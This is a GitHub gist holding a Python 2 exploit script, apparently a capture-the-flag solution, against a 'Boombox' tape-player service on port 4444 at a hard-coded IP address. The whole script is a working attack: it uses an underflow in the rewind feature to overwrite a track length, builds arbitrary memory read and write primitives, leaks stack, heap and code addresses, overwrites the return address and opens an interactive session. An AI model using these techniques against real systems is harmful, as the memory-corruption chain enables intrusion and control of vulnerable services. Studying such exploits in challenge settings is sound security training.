Create a gist now

Instantly share code, notes, and snippets.

@itsZN /boomboxed.py Secret
Created Dec 22, 2015

What would you like to do?
Boombox Exploit
import socket
import struct
import time
import telnetlib
import ctypes
import sys
import os
DEBUG = False
def dbp(s):
if DEBUG:
print s
def ui64(v):
return ctypes.c_uint64(v).value
def readUntil(so, n):
d=""
while True:
c = so.recv(1)
if c=='': raise Exception("Disconnected: "+repr(d))
else: d+=c
if n in d:
return d
def getSocket(skip=False):
so = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
if len(sys.argv)==1:
so.connect(('',4444))
if not skip:
raw_input('[Press enter to start exploit]')
else:
so.connect(('40.118.168.81',4444))
return so
sounds = ['beep','bop','zip','zam','flim',
'flam','ity','bad','do','dub','da','bez',
'um','yo','wop','bap']
def musicToHexString(st):
hs = ''
while st!='':
for i,s in enumerate(sounds):
if st[:len(s)]==s:
hs+='%x'%i
st=st[len(s)-1:]
break
st=st[1:]
return hs
def hexStringToMusic(val):
s = ''
for c in val.decode('hex'):
s+=sounds[(ord(c)&0xf0)>>4]
s+=sounds[ord(c)&0xf]
return s
def intToMusic(val,tp='<Q'):
return hexStringToMusic(struct.pack(tp,val).encode('hex'))
def setupPrimatives(so):
os.write(1,"Setting up...")
dbp(readUntil(so, 'SELECTION: '))
so.send('1\n')
# Tape name
so.send('test\n')
# Num of tracks
so.send('2\n')
so.send('A\n') # Track name
so.send('AAAAA\n') # Track contents
so.send('B\n') # Track name
so.send('BBBBB\n') # Track contents
so.send('\n')
dbp(readUntil(so, 'SELECTION: '))
# Play the music for 4 seconds
so.send('4\n')
time.sleep(4)
so.send('\n')
so.send('\n')
dbp(readUntil(so, 'SELECTION: '))
# Rewind the music underflowing by 2-3
so.send('6\n')
time.sleep(1.7) #I found this works well with the latency of the server
so.send('\n')
so.send('\n')
data = readUntil(so, 'SELECTION: ')
dbp(data)
# If we were too slow, then we missed our chance
if "Reached start of track" in data:
raise Exception("TO SLOW")
# Write over the most significant part of the length
so.send('9\n')
pl=hexStringToMusic('ff'*3)
so.send(pl+'\n')
so.send('\n')
dbp(readUntil(so, 'SELECTION: '))
os.write(1,"Done\n")
def writeToOffset(so, off,val):
# Select the first track
so.send('8\n')
so.send('\n')
dbp(readUntil(so, 'SELECTION: '))
# Seek to the location of the length of the second track
so.send('10\n')
so.send('552\n')
so.send('\n')
dbp(readUntil(so, 'SELECTION: '))
# Set it to int_max so that we can write anywhere
so.send('9\n')
pl=hexStringToMusic('ff'*8)
so.send(pl+'\n')
so.send('\n')
dbp(readUntil(so, 'SELECTION: '))
#Select the second track
so.send('7\n')
so.send('\n')
dbp(readUntil(so, 'SELECTION: '))
#Seek to the offset we want to write to
so.send('10\n')
so.send('%u\n'%off)
so.send('\n')
dbp(readUntil(so, 'SELECTION: '))
#Write the data
so.send('9\n')
pl=hexStringToMusic(val)
so.send(pl+'\n')
so.send('\n')
dbp(readUntil(so, 'SELECTION: '))
def readFromOffset(so, off,length):
#Select the first track
so.send('8\n')
so.send('\n')
dbp(readUntil(so, 'SELECTION: '))
# Seek to the location of the length of the second track
so.send('10\n')
so.send('552\n')
so.send('\n')
dbp(readUntil(so, 'SELECTION: '))
# Set it to the offset+length+1 so that we don't have uncontrolled read
so.send('9\n')
pl=intToMusic(ui64(off+length+1))
so.send(pl+'\n')
so.send('\n')
dbp(readUntil(so, 'SELECTION: '))
# Select the second track
so.send('7\n')
so.send('\n')
dbp(readUntil(so, 'SELECTION: '))
# Seek to our offset
so.send('10\n')
so.send('%u\n'%ui64(off))
so.send('\n')
dbp(readUntil(so, 'SELECTION: '))
# Read the data. You can really only get 7-8 bytes depending on what the data is, so 4 is safe
so.send('4\n')
so.send('\n')
so.send('\n')
dbp(readUntil(so, ' | | '))
data = readUntil(so, '...')
dbp(data)
dbp(readUntil(so, 'SELECTION: '))
return musicToHexString(data)
DEBUG = False
# Dump the heap to a log file from the offset
def dumpHeap():
offset = -0x15a0
f = open('log','a')
f.write('\n--- New Session ---')
lmem = ''
inline = 0
while True:
so = getSocket(skip=True)
try:
setupPrimatives(so)
while True:
mem=readFromOffset(so,offset,4)+readFromOffset(so,offset+4,4)
mem = mem.decode('hex')
if mem!='\x00'*8:
print '\n%05x:'%-(offset),'%016x\n'%struct.unpack('<Q',mem)[0]
else:
os.write(1,'.')
lmem=mem+lmem
if len(lmem)==0x20:
do = True
if lmem=='\x00'*0x20:
if inline==2:
f.write('\n...')
inline=3
do = False
elif inline<2:
inline+=1
else:
do = False
else:
if inline==3:
f.write('\n%05x: '%-(offset+0x20))
f.write(('0'*16+' ')*4)
inline=0
if do:
f.write('\n%05x: '%-(offset))
for i in range(0,0x20,8):
f.write('%016x '%struct.unpack('<Q',lmem[i:i+8])[0])
lmem=''
offset-=8
except Exception as e:
print '\n',e
def pwn():
so = getSocket()
if len(sys.argv)==1:
offset = -0x4c98 # Subject to change, check your local windbg for more details
else:
offset = -0x5478
setupPrimatives(so)
leak = readFromOffset(so,offset,4)+readFromOffset(so,offset+4,4)
leak = leak.decode('hex').ljust(8,'\x00')
sleak = struct.unpack('<Q',leak)[0]
print "Stack Leak: 0x%016x"%sleak
retaddr = sleak+184
leak = readFromOffset(so,offset+7*8,4)+readFromOffset(so,offset+7*8+4,4)
leak = leak.decode('hex').ljust(8,'\x00')
hleak = struct.unpack('<Q',leak)[0]
print "Heap Leak: 0x%016x"%hleak
ourloc = hleak+0x28
leak = readFromOffset(so,retaddr-ourloc,4)+readFromOffset(so,retaddr-ourloc+4,4)
leak = leak.decode('hex').ljust(8,'\x00')
tleak = struct.unpack('<Q',leak)[0]
print "Text Leak: 0x%016x"%tleak
winfunc2 = tleak-0x8cf
winfunc = tleak-0x14ff
writeToOffset(so,retaddr-ourloc,struct.pack('<Q',winfunc).encode('hex'))
writeToOffset(so,retaddr-ourloc+8,struct.pack('<Q',winfunc2).encode('hex'))
so.send('12\n')
t = telnetlib.Telnet()
t.sock = so
t.interact()
pwn()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment